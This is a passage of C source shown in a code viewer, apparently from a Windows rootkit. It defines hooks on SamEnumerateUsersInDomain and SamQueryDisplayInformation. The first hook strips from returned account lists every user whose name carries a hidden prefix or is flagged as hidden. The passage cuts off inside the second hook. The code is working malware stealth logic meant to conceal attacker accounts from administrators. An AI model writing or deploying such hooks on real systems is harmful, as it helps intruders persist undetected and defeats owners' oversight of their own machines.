| 794 | return status; |
| 795 | } |
| 796 | static NTSTATUS NTAPI HookedSamEnumerateUsersInDomain(HANDLE domainHandle, PULONG enumerationContext, ULONG userAccountControl, LPVOID *buffer, ULONG preferedMaximumLength, PULONG countReturned) |
| 797 | { |
| 798 | NTSTATUS status = OriginalSamEnumerateUsersInDomain(domainHandle, enumerationContext, userAccountControl, buffer, preferedMaximumLength, countReturned); |
| 799 | |
| 800 | if (NT_SUCCESS(status) && buffer && *buffer && countReturned) |
| 801 | { |
| 802 | PNT_SAM_RID_ENUMERATION rids = (PNT_SAM_RID_ENUMERATION)*buffer; |
| 803 | for (ULONG i = 0; i < *countReturned; i++) |
| 804 | { |
| 805 | rids[i].Name.Buffer[rids[i].Name.Length / sizeof(WCHAR)] = L'\0'; |
| 806 | |
| 807 | if (HasPrefix(rids[i].Name.Buffer) || IsUserNameHidden(rids[i].Name.Buffer)) |
| 808 | { |
| 809 | memmove(&rids[i], &rids[i + 1], (*countReturned - i - 1) * sizeof(NT_SAM_RID_ENUMERATION)); |
| 810 | (*countReturned)--; |
| 811 | i--; |
| 812 | } |
| 813 | } |
| 814 | } |
| 815 | |
| 816 | return status; |
| 817 | } |
| 818 | static NTSTATUS NTAPI HookedSamQueryDisplayInformation(HANDLE domainHandle, NT_DOMAIN_DISPLAY_INFORMATION displayInformation, ULONG index, ULONG entryCount, ULONG preferredMaximumLength, PULONG totalAvailable, PULONG totalReturned, PULONG returnedEntryCount, LPVOID *sortedBuffer) |
| 819 | { |
| 820 | NTSTATUS status = OriginalSamQueryDisplayInformation(domainHandle, displayInformation, index, entryCount, preferredMaximumLength, totalAvailable, totalReturned, returnedEntryCount, sortedBuffer); |
nothing calls this directly
no test coverage detected